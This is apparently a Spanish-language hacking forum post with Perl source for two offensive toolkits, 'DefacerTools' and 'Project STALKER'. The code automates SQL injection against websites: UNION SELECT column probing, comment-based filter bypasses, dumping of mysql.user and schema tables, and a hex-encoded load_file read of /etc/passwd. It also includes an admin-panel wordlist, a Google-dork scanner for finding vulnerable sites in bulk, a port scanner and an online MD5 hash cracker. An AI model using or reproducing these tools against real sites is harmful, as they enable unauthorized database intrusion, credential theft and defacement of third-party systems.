        print "<br><br>[+] Scanning page<br><br>";
        &length( $rta{'buscarsql'} );
        print "<br><br>[+] Finished";
        copyright();
    }
    elsif ( $rta{'fuzzdns'} ) {
        logocinco();
        print
    qq(<form method=post action=''><b>Host : </b><input type=text name=buscardns value=google.com><input type=submit name=codificar value=Scan></form>);
        copyright();
    }
    elsif ( $rta{'buscardns'} ) {
        logocinco();

        my $page = $rta{'buscardns'};

        print "<br><br>[+] Searching DNS to " . $page . ".....<br><br><br>";
        for my $path (@dns) {
            $code = tomax( "http://" . $path . "." . $page );
            if ( $code->is_success ) {
                print "[+] Found : http://" . $path . "." . $page . "<br>";
            }
        }
        print "<br><br>[+] Finished<br><br>";
        copyright();
    }
    elsif ( $rta{'finderpass'} ) {
        logoseis();
        print
    qq(<form method=post action=''><b>MD5 : </b><input type=text name=buscarhash value=202cb962ac59075b964b07152d234b70><input type=submit name=codificar value=Scan></form>);
        copyright();
    }
    elsif ( $rta{'buscarhash'} ) {
        logoseis();
        &crackit( $rta{'buscarhash'} );
        copyright();
    }
    elsif ( $rta{'portscanner'} ) {
        logosiete();
        print
    qq(<form method=post action=''><b>IP : </b><input type=text name=buscarpuertos value=localhost><input type=submit name=codificar value=Scan></form>);
        copyright();
    }
    elsif ( $rta{'buscarpuertos'} ) {
        logosiete();
        scanuno( $rta{'buscarpuertos'} );
        copyright();
    }
    elsif ( $rta{'home'} ) {
        sintax();
    }
    else {
        sintax();
    }

    sub sintax {
        print qq(
    <title>DefacerTools 0.5 (C) Doddy Hackman 2012</title>
    <br><br>
    <h1><center>DefacerTools</center></h1>
    <br><br>
    <center>
    <table border=1>
    <td class=main><center><b>Tools</b></center></td><tr>
    <td class=main><a href=?hex=true><center>HexConverter</center></a></td><tr>
    <td class=main><a href=?panelfinder=true><center>PanelFinder</center></a></td><tr>
    <td class=main><a href=?pathsfinder=true><center>PathsFinder</center></a></td><tr>
    <td class=main><a href=?sqliscanner=true><center>SQLi Scanner</center></a></td><tr>
    <td class=main><a href=?fuzzdns=true><center>FuzzDNS</center></a></td><tr>
    <td class=main><a href=?finderpass=true><center>FinderPass</center></a></td><tr>
    <td class=main><a href=?portscanner=true><center>PortScanner</center></a></td>
    </table>
    </center>
    );
    }

    sub logouno {
        print qq(
    <center>
    <pre>



    @    @                 @@@@                                       
    @    @                @    @                            @         
    @    @                @                                 @         
    @    @   @@@  @  @    @       @@@  @ @@  @   @  @@@  @@ @@  @@@  @@
    @@@@@@  @   @ @  @    @      @   @ @@  @ @   @ @   @ @  @  @   @ @
    @    @  @@@@@  @@     @      @   @ @   @  @ @  @@@@@ @  @  @@@@@ @
    @    @  @      @@     @      @   @ @   @  @ @  @     @  @  @     @
    @    @  @   @ @  @    @    @ @   @ @   @   @   @   @ @  @  @   @ @
    @    @   @@@  @  @     @@@@   @@@  @   @   @    @@@  @   @  @@@  @




    </pre>


    );
    }

    sub logodos {
        print qq(
    <center>
    <pre>



    @@@@@                    @ @@@@@ @           @         
    @    @                   @ @                 @         
    @    @                   @ @                 @         
    @    @  @@@  @ @@   @@@  @ @     @ @ @@   @@@@  @@@  @@
    @@@@@      @ @@  @ @   @ @ @@@@  @ @@  @ @   @ @   @ @
    @       @@@@ @   @ @@@@@ @ @     @ @   @ @   @ @@@@@ @
    @      @   @ @   @ @     @ @     @ @   @ @   @ @     @
    @      @   @ @   @ @   @ @ @     @ @   @ @   @ @   @ @
    @       @@@@ @   @  @@@  @ @     @ @   @  @@@@  @@@  @




    </pre>


    );
    }

    sub logotres {
        print qq(
    <center>
    <pre>



    @@@@@           @          @@@@@ @           @         
    @    @       @  @          @                 @         
    @    @       @  @          @                 @         
    @    @  @@@  @@ @ @@   @@  @     @ @ @@   @@@@  @@@  @@
    @@@@@      @ @  @@  @ @  @ @@@@  @ @@  @ @   @ @   @ @
    @       @@@@ @  @   @  @   @     @ @   @ @   @ @@@@@ @
    @      @   @ @  @   @   @  @     @ @   @ @   @ @     @
    @      @   @ @  @   @ @  @ @     @ @   @ @   @ @   @ @
    @       @@@@  @ @   @  @@  @     @ @   @  @@@@  @@@  @





    </pre>


    );
    }

    sub logocuatro {
        print qq(
    <center>
    <pre>



      @@@    @@@@   @     @      @@@                                   
    @   @  @    @  @     @     @   @                                 
    @      @    @  @     @     @                                     
    @      @    @  @     @     @       @@@   @@@  @ @@  @ @@   @@@  @@
      @@@   @    @  @     @      @@@   @   @     @ @@  @ @@  @ @   @ @
         @  @    @  @     @         @  @      @@@@ @   @ @   @ @@@@@ @
         @  @  @ @  @     @         @  @     @   @ @   @ @   @ @     @
    @   @  @   @@  @     @     @   @  @   @ @   @ @   @ @   @ @   @ @
      @@@    @@@@   @@@@@ @      @@@    @@@   @@@@ @   @ @   @  @@@  @
                 @                                                     





    </pre>


    );
    }

    sub logocinco {
        print qq(
    <center>
    <pre>



    @@@@@                    @@@@    @    @   @@@
    @                        @   @   @@   @  @   @
    @                        @    @  @@   @  @   
    @     @   @ @@@@ @@@@    @    @  @ @  @  @   
    @@@@  @   @    @    @    @    @  @ @  @   @@@
    @     @   @   @    @     @    @  @  @ @      @
    @     @   @  @    @      @    @  @   @@      @
    @     @  @@ @    @       @   @   @   @@  @   @
    @      @@ @ @@@@ @@@@    @@@@    @    @   @@@






    </pre>


    );
    }

    sub logoseis {
        print qq(
    <center>
    <pre>



    @@@@@ @           @          @@@@@                 
    @                 @          @    @               
    @                 @          @    @               
    @     @ @ @@   @@@@  @@@  @@ @    @  @@@   @@   @@
    @@@@  @ @@  @ @   @ @   @ @  @@@@@      @ @  @ @  @
    @     @ @   @ @   @ @@@@@ @  @       @@@@  @    @ 
    @     @ @   @ @   @ @     @  @      @   @   @    @
    @     @ @   @ @   @ @   @ @  @      @   @ @  @ @  @
    @     @ @   @  @@@@  @@@  @  @       @@@@  @@   @@







    </pre>


    );
    }

    sub logosiete {
        print qq(
    <center>
    <pre>



    @@@@@               @@@                                   
    @    @          @  @   @                                 
    @    @          @  @                                     
    @    @  @@@  @@ @@ @       @@@   @@@  @ @@  @ @@   @@@  @@
    @@@@@  @   @ @  @   @@@   @   @     @ @@  @ @@  @ @   @ @
    @      @   @ @  @      @  @      @@@@ @   @ @   @ @@@@@ @
    @      @   @ @  @      @  @     @   @ @   @ @   @ @     @
    @      @   @ @  @  @   @  @   @ @   @ @   @ @   @ @   @ @
    @       @@@  @   @  @@@    @@@   @@@@ @   @ @   @  @@@  @








    </pre>


    );
    }

    sub copyright {
        print
    qq(<br><br><br><br><br><br><br><center><a href=?home=true><b>Return to home</b></a></center><br><br>);
    }

    sub length {
        print "<br>[+] Looking for the number of columns<br><br>";
        my $rows = "0";
        my $asc;
        my $page = $_[0];
        ( $pass1, $pass2 ) = &bypass( $_[1] );

        $alert = "char(" . ascii("RATSXPDOWN1RATSXPDOWN") . ")";
        $total = "1";
        for my $rows ( 2 .. 200 ) {
            $asc .=
              "," . "char(" . ascii( "RATSXPDOWN" . $rows . "RATSXPDOWN" ) . ")";
            $total .= "," . $rows;
            $injection =
                $page . "1"
              . $pass1 . "and"
              . $pass1 . "1=0"
              . $pass1 . "union"
              . $pass1
              . "select"
              . $pass1
              . $alert
              . $asc;
            $test = toma($injection);
            if ( $test =~ /RATSXPDOWN/ ) {
                @number = $test =~ m{RATSXPDOWN(\d+)RATSXPDOWN}g;
                $control = 1;
                my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $_[0] );
                my $save = $auth;
                $total =~ s/$number[0]/hackman/;
                print "[SQLI] : "
                  . $page . "1"
                  . $pass1 . "and"
                  . $pass1 . "1=0"
                  . $pass1 . "union"
                  . $pass1
                  . "select"
                  . $pass1
                  . $total . "<br>";
                details(
                    $page . "1"
                      . $pass1 . "and"
                      . $pass1 . "1=0"
                      . $pass1 . "union"
                      . $pass1
                      . "select"
                      . $pass1
                      . $total,
                    "--", ""
                );
            }
        }
    }

    sub details {
        my ( $page, $bypass, $save ) = @_;
        ( $pass1, $pass2 ) = &bypass($bypass);
        if ( $page =~ /(.*)hackman(.*)/ig ) {
            print "<br>[+] Searching information..<br><br>";
            my ( $start, $end ) = ( $1, $2 );
            $inforschema =
                $start
              . "unhex(hex(concat(char(69,82,84,79,82,56,53,52))))"
              . $end
              . $pass1 . "from"
              . $pass1
              . "information_schema.tables"
              . $pass2;
            $mysqluser =
                $start
              . "unhex(hex(concat(char(69,82,84,79,82,56,53,52))))"
              . $end
              . $pass1 . "from"
              . $pass1
              . "mysql.user"
              . $pass2;
            $test3 =
              toma( $start
                  . "unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))"
                  . $end
                  . $pass2 );
            $test1 = toma($inforschema);
            $test2 = toma($mysqluser);
            if ( $test2 =~ /ERTOR854/ig ) {
                print "[mysql.user] : ON<br>";
            }
            else {
                print "[mysql.user] : OFF<br>";
            }
            if ( $test1 =~ /ERTOR854/ig ) {
                print "[information_schema.tables] : ON<br>";
            }
            else {
                print "[information_schema.tables] : OFF<br>";
            }
            if ( $test3 =~ /ERTOR854/ig ) {
                print "[load_file] : ON<br>";
            }
            $concat =
    "unhex(hex(concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char(69,82,84,79,82,56,53,52))))";
            $injection = $start . $concat . $end . $pass2;
            $code      = toma($injection);
            if ( $code =~ /ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854/g ) {
                print
    "<br>[!] DB Version : $1<br>[!] DB Name : $2<br>[!] user_name : $3<br><br>";
            }
            else {
                print "<br>[-] Not found any data<br>";
            }
        }
    }

    sub encode {
        my $string = $_[0];
        $hex = '0x';
        for ( split //, $string ) {
            $hex .= sprintf "%x", ord;
        }
        return $hex;
    }

    sub bypass {
        if    ( $_[0] eq "/*" )  { return ( "/**/", "/**/" ); }
        elsif ( $_[0] eq "%20" ) { return ( "%20",  "%00" ); }
        else                     { return ( "+",    "--" ); }
    }

    sub ascii {
        return join ',', unpack "U*", $_[0];
    }

    sub toma {
        return $nave->get( $_[0] )->content;
    }

    sub tomax {
        return $nave->get( $_[0] );
    }

    sub get_links {

        $test = HTML::LinkExtor->new( \&agarrar )->parse( $_[0] );
        return @links;

        sub agarrar {
            my ( $a, %b ) = @_;
            push( @links, values %b );
        }
    }

    sub crackit {

        my $secret = $_[0];

        print "<br><br>[+] Cracking $_[0]<br><br>";

        my %hash = (

            'http://passcracking.com/' => {
                'tipo'      => 'post',
                'variables' => '{"datafromuser" => $_[0], "submit" => "DoIT"}',
                'regex' =>
    '<\/td><td>md5 Database<\/td><td>$_[0]<\/td><td bgcolor=#FF0000>(.*)<\/td><td>',
            },
            'http://md5.hashcracking.com/search.php?md5=' => {
                'tipo'  => 'get',
                'regex' => 'Cleartext of $_[0] is (.*)',
            },
            'http://www.bigtrapeze.com/md5/' => {
                'tipo'      => 'post',
                'variables' => '{"query" => $_[0], "submit" => " Crack "}',
                'regex' =>
    'The hash <strong>$_[0]<\/strong> has been deciphered to: <strong>(.+)<\/strong>',
            },
            'http://opencrack.hashkiller.com/' => {
                'tipo' => 'post',
                'variables' =>
                  '{"oc_check_md5" => $_[0], "submit" => "Search MD5"}',
                'regex' => qq(<\/div><div class="result">$_[0]:(.+)<br\/>),
            },
            'http://www.hashchecker.com/index.php?_sls=search_hash' => {
                'tipo'      => 'post',
                'variables' => '{"search_field" => $_[0], "Submit" => "search"}',
                'regex' =>
    '<td><li>Your md5 hash is :<br><li>$_[0] is <b>(.*)<\/b> used charl',
            },
            'http://victorov.su/md5/?md5e=&md5d=' => {
                'tipo'  => 'get',
                'regex' => qq(MD5 ðàñøèôðîâàí: <b>(.*)<\/b><br><form action=\"\">),
            }
        );

        for my $data ( keys %hash ) {

            if ( $hash{$data}{tipo} eq "get" ) {
                $code = toma( $data . $_[0] );
                if ( $code =~ /$hash{$data}{regex}/ig ) {
                    print "<br>[+] Decoded : " . $1 . "<br><br>";
                    print $secret. ":" . $1 . "<br>";
                }
            }
            else {
                $code = tomar( $data, $hash{$data}{variables} );
                if ( $code =~ /$hash{$data}{regex}/ig ) {
                    print $secret. ":" . $1 . "<br>";
                }
            }
        }
        print "<br>[+] Finish<br>";
    }

    sub tomar {
        my ( $web, $var ) = @_;
        return $nave->post( $web, [ %{$var} ] )->content;
    }

    sub scanuno {

        my %ports = (
            "21"   => "ftp",
            "22"   => "ssh",
            "25"   => "smtp",
            "80"   => "http",
            "110"  => "pop3",
            "3306" => "mysql"
        );

        print "<br>[+] Scanning $_[0]<br><br><br>";

        for my $port ( keys %ports ) {

            if (
                new IO::Socket::INET(
                    PeerAddr => $_[0],
                    PeerPort => $port,
                    Proto    => "tcp",
                    Timeout  => 0.5
                )
              )
            {
                print "[Port] : "
                  . $port
                  . " [Service] : "
                  . $ports{$port} . "<br>";
            }
        }
        print "<br><br>[+] Scan Finish<br>";
    }

    # The End ?

#428
Perl / [Perl] Project STALKER
Agosto 19, 2011, 11:30:36 PM
Bueno esta es la nueva version de la consola que eh estado haciendo en perl con las siguiente funciones

  • Mejoras

    [++] Diseño
    [++] Repare algunos bugs
    [++] Mejor manejo con control+c
    [++] Agregue un cliente mysql

  • Opciones

    [++] Reconocer ip de un host
    [++] Capturar todos los links de una pagina
    [++] Tener una lista de todos los procesos de windows con posibilidad de cerrar el que queramos
    [++] Cliente mediante sockets
    [++] Reconocer los metodos HTTP en una web
    [++] Captura links y busca posibles paths para listado de directorios
    [++] Encode/decode para base64,hex,ascii
    [++] Scanner Port
    [++] Busca panel de admin
    [++] k0bra incorporado (Scanner SQLI)
    [++] Cliente FTP
    [++] Navegador de archivos con posibilidad de borrar,renombrar archivos o directorios
    [++] Scan Google para buscar paginas vulnerables a SQLI

    El codigo es el siguiente

    Código: perl

    #!usr/bin/perl
    #Project STALKER (C) Doddy Hackman 2011
    #
    #ppm install http://www.bribes.org/perl/ppm/DBI.ppd
    #ppm install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd
    #
    #You need download this http://search.cpan.org/~animator/Color-Output-1.05/Output.pm
    #

    use IO::Socket;
    use HTML::LinkExtor;
    use LWP::UserAgent;
    use Win32::OLE qw(in);
    use Win32::Process;
    use Net::FTP;
    use Cwd;
    use URI::Split qw(uri_split);
    use MIME::Base64;
    use DBI;
    use Color::Output;
    Color::Output::Init

    @panels=('admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx'
    ,'admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx'
    ,'asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx'
    ,'asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx'
    ,'admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx'
    ,'login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx'
    ,'administracion/index.asp','administracion/index.aspx','administracion/login.asp'
    ,'administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx'
    ,'administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php'
    ,'admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php'
    ,'admin/administrador.php','admin/default.php','administracion/','administracion/index.php'
    ,'administracion/login.php','administracion/ingresar.php','administracion/admin.php'
    ,'administration/','administration/index.php','administration/login.php'
    ,'administrator/index.php','administrator/login.php','administrator/system.php','system/'
    ,'system/login.php','admin.php','login.php','administrador.php','administration.php'
    ,'administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php'
    ,'yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html'
    ,'admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html'
    ,'admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html'
    ,'administrator/','administrator/index.html','administrator/login.html'
    ,'administrator/account.html','administrator/account.php','administrator.html','login.html'
    ,'modelsearch/login.php','moderator.php','moderator.html','moderator/login.php'
    ,'moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/'
    ,'account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html'
    ,'admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp'
    ,'admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp'
    ,'admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp'
    ,'administrator/login.asp','administrator/account.asp','administrator.asp'
    ,'modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp'
    ,'account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/'
    ,'fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php'
    ,'sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp'
    ,'ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html'
    ,'Server.asp','Server/','wp-admin/','administr8.php','administr8.html'
    ,'administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp'
    ,'webadmin.html','administratie/','admins/','admins.php','admins.asp'
    ,'admins.html','administrivia/','Database_Administration/','WebAdmin/'
    ,'useradmin/','sysadmins/','admin1/','system-administration/','administrators/'
    ,'pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/'
    ,'administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/'
    ,'cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/
    ','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/
    ','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/
    ','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/
    ','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/'
    ,'project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/'
    ,'wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/'
    ,'Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/'
    ,'irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/'
    ,'administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/'
    ,'Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/'
    ,'cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/'
    ,'server/','database_administration/','power_user/','system_administration/'
    ,'ss_vms_admin_sm/');


    unless (-d "/logs/webs") {
    mkdir("logs/",777);
    mkdir("logs/webs/",777);
    }

    my $nave = LWP::UserAgent->new;
    $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
    $nave->timeout(5);

    head();

    getinfo();

    $SIG{INT} = \&next;

    while(1) {
    cprint "\x037"; #13
    menujo();
    cprint "\x030";
    }

    sub getinfo {
    $so = $^O;
    $login = Win32::LoginName();
    $domain = Win32::DomainName();
    cprint "\x0313"; #13
    print "\n\n[SO] : $so [Login] : $login [Group] : $domain\n\n";
    cprint "\x030";
    }


    sub menujo {
    print "\n\n>";
    chomp (my $cmd = <stdin>);
    print "\n\n";

    if ($cmd=~/getinfo/ig) {
    getinfo();
    }
    elsif ($cmd =~/getip (.*)/) {
    my $te = $1;
    if ($te eq "" or $te eq " ") {
    print "\n[+] sintax : getip <host>\n";
    }
    print "\n[IP] : ".getip($1)."\n";
    print "\n";
    }

    elsif ($cmd =~/getlink (.*)/) {
    print "[+] Extracting links in the page\n\n\n";
    $code = toma($1);
    my @re = get_links($code);
    for my $url(@re) {
    chomp $url;
    print "[Link] : $url\n";
    }
    print "\n\n[+] Finish\n";
    }

    elsif ($cmd=~/help/) {
    helpme();
    }

    elsif ($cmd=~/getprocess/) {
    my %re = getprocess();


    for my $data(keys %re) {
    ($proceso,$pid) = ($t=~/(.*):(.*)/ig);
    print "[+] Proceso : ".$data."\n";
    print "[+] PID : ".$re{$data}."\n\n";
    }
    }
    elsif ($cmd=~/killprocess (.*) (.*)/) {
    if (killprocess($1,$2)) {
    print "[+] Process $1 closed";
    }
    }
    elsif ($cmd=~/conec (.*) (.*) (.*)/) {
    print conectar($1,$2,$3);
    }
    elsif ($cmd=~/allow (.*)/) {
    $re = conectar($1,"80","GET / HTTP/1.0\r\n");
    if ($re=~/Allow:(.*)/ig) {
    print "[+] Metodos : ".$1."\n";
    }}
    elsif ($cmd=~/paths (.*)/) {
    scanpaths($1);
    }
    elsif ($cmd=~/encodehex (.*)/) {
    print "\n\n[+] ".hex_en($1)."\n\n";
    }
    elsif ($cmd=~/decodehex (.*)/) {
    print "\n\n[+] ".hex_de($1)."\n\n";
    }
    elsif ($cmd=~/download (.*) (.*)/) {
    my $file,$name = $1,$2;
    if (download($1,$2)) {
    print "[+] File downloaded\n";
    }
    }
    elsif ($cmd=~/encodeascii (.*)/) {
    print "\n\n[+] ".ascii($1)."\n\n";
    }
    elsif ($cmd=~/decodeascii (.*)/) {
    print "\n\n[+] ".ascii_de($1)."\n\n";
    }
    elsif ($cmd=~/encodebase (.*)/) {
    print "\n\n[+] ".base($1)."\n\n";
    }
    elsif ($cmd=~/decodebase (.*)/) {
    print "\n\n[+] ".base_de($1)."\n\n";
    }
    elsif ($cmd=~/aboutme/) {
    aboutme();
    }
    elsif ($cmd=~/scanport (.*)/) {
    scanport($1);
    }
    elsif ($cmd=~/panel (.*)/) {
    scanpanel($1);
    }
    elsif ($cmd=~/scangoogle/) {
    print "[Dork] : ";
    chomp(my $dork = <stdin>);
    print "\n\n[Pages] : ";
    chomp(my $pages = <stdin>);
    print "\n\n[Starting the search]\n\n";
    my @links = google($dork,$pages);
    print "\n[Links Found] : ".int(@links)."\n\n\n";
    print "[Starting the scan]\n\n\n";
    for my $link(@links) {
    if ($link=~/(.*)=/ig) {
    my $web = $1;
    sql($web."=");
    }}
    print "\n\n[+] Finish\n";
    }
    elsif ($cmd=~/getpass (.*)/) {
    crackit($1);
    }
    elsif ($cmd=~/ftp (.*) (.*) (.*)/) {
    ftp($1,$2,$3);
    }
    elsif ($cmd=~/navegator/) {
    nave:
    print getcwd().">";
    chomp(my $rta = <stdin>);
    print "\n\n";
    if ($rta=~/list/) {
    my @files = coleccionar(getcwd());
    for(@files) {
    if (-f $_) {
    print "[File] : ".$_."\n";
    } else {
    print "[Directory] : ".$_."\n";
    }}}
    if ($rta=~/cd (.*)/) {
    my $dir = $1;
    if (chdir($dir)) {
    print "\n[+] Directory changed\n";
    } else {
    print "\n[-] Error\n";
    }}
    if ($rta=~/del (.*)/) {
    my $file = getcwd()."/".$1;
    if (-f $file) {
    if (unlink($file)) {
    print "\n[+] File Deleted\n";
    } else {
    print "\n[-] Error\n";
    }
    } else {
    if (rmdir($file)) {
    print "\n[+] Directory Deleted\n";
    } else {
    print "\n[-] Error\n";
    }}}
    if ($rta=~/rename (.*) (.*)/) {
    if (rename(getcwd()."/".$1,getcwd()."/".$2)) {
    print "\n[+] File Changed\n";
    } else {
    print "\n[-] Error\n";
    }}
    if ($rta=~/open (.*)/) {
    my $file = $1;
    chomp $file;
    system($file);
    #system(getcwd()."/".$file);
    }
    if ($rta=~/help/) {
    print "\nCommands : help cd list del rename open exit\n\n";
    }
    if ($rta=~/exit/) {
    next;
    }
    print "\n\n";
    goto nave;
    }
    elsif ($cmd=~/kobra (.*)/) {
    my $url = $1;
    chomp $url;
    scansqli($url,"--");
    }
    elsif ($cmd=~/mysql (.*) (.*) (.*)/) {
    enter($1,$2,$3);
    }
    elsif ($cmd=~/exit/) {
    copyright();
    <stdin>;
    exit(1);
    }
    else {
    system($cmd);
    }
    #print "\n\n";
    }


    sub scansqli {
    print "[Status] : Scanning.....\n";
    $pass = &bypass($_[1]);
    my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
    my $save = $auth;
    if ($_[0]=~/hackman/ig) {
    savefile($save.".txt","\n[Target Confirmed] : $_[0]\n");
    &menu_options($_[0],$pass,$save);
    }
    my ($gen,$save,$control) = &length($_[0],$_[1]);
    if ($control eq 1) {
    print "[Status] : Enjoy the menu\n\n";
    &menu_options($gen,$pass,$save);
    } else {
    print $control;
    print "[Status] : Length columns not found\n\n";
    menujo();
    }
    }

    sub length {
    my $rows  = "0";
    my $asc;
    my $page = $_[0];
    ($pass1,$pass2) = &bypass($_[1]);
    $inyection = $page.$pass1."and".$pass1."1=0".$pass1."order".$pass1."by".$pass1."9999999999".$pass2;
    $code = toma($inyection);
    if ($code=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $code=~ /mysql_free_result/ig || $code =~ /mysql_fetch_assoc/ig ||$code =~ /mysql_num_rows/ig || $code =~ /mysql_fetch_array/ig || $code =~/mysql_fetch_assoc/ig || $code=~/mysql_query/ig || $code=~/mysql_free_result/ig || $code=~/equivocado en su sintax/ig || $code=~/You have an error in your SQL syntax/ig || $code=~/unknown column/ig || $code=~/Call to undefined function/ig) {
    my $testar1 = toma($page.$pass1."and".$pass1."1=0".$pass2);
    my $testar2 = toma($page.$pass1."and".$pass1."1=1".$pass2);
    unless ($testar1 eq $testar2) {
    my $patha = $1;
    chomp $patha;
    $alert = "char(".ascii("RATSXPDOWN1RATSXPDOWN").")";
    $total = "1";
    for my $rows(2..200) {
    $asc.= ","."char(".ascii("RATSXPDOWN".$rows."RATSXPDOWN").")";
    $total.= ",".$rows;
    $injection = $page.$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$alert.$asc;
    $test = toma($injection);
    if ($test=~/RATSXPDOWN/) {
    @number = $test =~m{RATSXPDOWN(\d+)RATSXPDOWN}g;
    $control = 1;
    my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
    my $save = $auth;
    savefile($save.".txt","\n[Target confirmed] : $page");
    savefile($save.".txt","[Bypass] : $_[1]\n");
    savefile($save.".txt","[Limit] : The site has $rows columns");
    savefile($save.".txt","[Data] : The number @number print data");
    if ($patha) {
    savefile($save.".txt","[Full Path Discloure] : $patha");
    }
    $total=~s/$number[0]/hackman/;
    savefile($save.".txt","[SQLI] : ".$page.$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total);
    return($page.$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total,$save,$control);
    }}}}}


    sub details {
    my ($page,$bypass,$save) = @_;
    ($pass1,$pass2) = &bypass($bypass);
    savefile($save.".txt","\n");
    if ($page=~/(.*)hackman(.*)/ig) {
    print "\n\n[+] Searching information..\n\n";
    my  ($start,$end) = ($1,$2);
    $inforschema = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."information_schema.tables".$pass2;
    $mysqluser = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."mysql.user".$pass2;
    $test3 = toma($start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
    $test1 = toma($inforschema);
    $test2 = toma($mysqluser);
    if ($test2=~/ERTOR854/ig) {
    savefile($save.".txt","[mysql.user] : ON");
    print "[mysql.user] : ON\n";
    } else {
    print "[mysql.user] : OFF\n";
    savefile($save.".txt","[mysql.user] : OFF");
    }
    if ($test1=~/ERTOR854/ig) {
    print "[information_schema.tables] : ON\n";
    savefile($save.".txt","[information_schema.tables] : ON");
    } else {
    print "[information_schema.tables] : OFF\n";
    savefile($save.".txt","[information_schema.tables] : OFF");
    }
    if ($test3=~/ERTOR854/ig) {
    print "[+] load_file permite ver los archivos\n";
    savefile($save.".txt","[load_file] : ".$start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
    }
    $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char(69,82,84,79,82,56,53,52))))";
    $injection = $start.$concat.$end.$pass2;
    $code = toma($injection);
    if ($code=~/ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854/g) {
    print "\n[!] DB Version : $1\n[!] DB Name : $2\n[!] user_name : $3\n\n";
    savefile($save.".txt","\n[!] DB Version : $1\n[!] DB Name : $2\n[!] user_name : $3\n");
    } else {
    print "\n[-] Not found any data\n";
    }}}


    sub menu_options {

    my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
    my $save = $auth;
    print "\n/logs/webs/$save>";
    chomp (my $rta = <stdin>);

    if ($rta=~/help/) {
    print qq(

    commands : details tables columns dbs othertable othercolumn
               mysqluser dumper logs exit

    );
    }


    if ($rta =~/tables/) {
    schematables($_[0],$_[1],$save);
    &reload;
    }
    elsif ($rta =~/columns (.*)/) {
    my $tabla = $1;
    schemacolumns($_[0],$_[1],$save,$tabla);
    &reload;
    }
    elsif ($rta =~/dbs/) {
    &schemadb($_[0],$_[1],$save);
    &reload;
    }
    elsif ($rta =~/othertable (.*)/) {
    my $data = $1;
    &schematablesdb($_[0],$_[1],$data,$save);
    &reload;
    }
    elsif ($rta =~/othercolumn (.*) (.*)/){
    my ($db,$table) = ($1,$2);
    &schemacolumnsdb($_[0],$_[1],$db,$table,$save);
    &reload;
    }
    elsif ($rta =~/mysqluser/) {
    &mysqluser($_[0],$_[1],$save);
    &reload;
    }
    elsif ($rta=~/logs/) {
    $t = "logs/webs/$save.txt";
    system("start $t");
    &reload;
    }
    elsif ($rta=~/exit/) {
    next;
    }

    elsif ($rta=~/dumper (.*) (.*) (.*)/) {
    my ($tabla,$col1,$col2) = ($1,$2,$3);
    &dump($_[0],$col1,$col2,$tabla,$_[1],$save);
    &reload;
    }
